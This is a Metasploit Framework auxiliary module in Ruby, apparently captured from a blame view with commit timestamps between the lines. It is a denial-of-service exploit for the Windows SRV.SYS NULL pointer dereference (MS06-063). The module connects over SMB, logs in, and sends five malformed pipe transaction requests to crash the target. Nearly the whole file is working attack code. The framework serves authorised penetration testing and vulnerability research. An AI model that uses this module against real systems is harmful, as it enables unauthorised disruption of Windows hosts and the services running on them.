2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-09-14 05:42:20 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-09-14 05:42:20 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-09-14 05:42:20 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a NULL pointer dereference flaw in the
|
|
|
|
SRV.SYS driver of the Windows operating system. This bug was
|
|
|
|
independently discovered by CORE Security and ISS.
|
|
|
|
},
|
|
|
|
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-14 05:42:20 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-10-10 18:08:23 +00:00
|
|
|
['MSB', 'MS06-063' ],
|
2006-09-14 05:42:20 +00:00
|
|
|
['CVE', '2006-3942'],
|
|
|
|
['BID', '19215'],
|
|
|
|
]
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2006-09-14 05:51:15 +00:00
|
|
|
print_status("Connecting to the target system...");
|
2006-09-14 05:42:20 +00:00
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
|
|
|
begin
|
2006-09-14 05:51:15 +00:00
|
|
|
1.upto(5) do |i|
|
|
|
|
print_status("Sending bad SMB transaction request #{i.to_s}...");
|
|
|
|
self.simple.client.trans_nonull(
|
|
|
|
"\\#{Rex::Text.rand_text_alphanumeric(rand(16)+1)}",
|
|
|
|
'',
|
|
|
|
Rex::Text.rand_text_alphanumeric(rand(16)+1),
|
|
|
|
3,
|
|
|
|
[1,0,1].pack('vvv'),
|
|
|
|
true
|
|
|
|
)
|
|
|
|
end
|
2006-09-14 05:42:20 +00:00
|
|
|
rescue ::Interrupt
|
|
|
|
return
|
|
|
|
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e.class.to_s} > #{e.to_s}")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|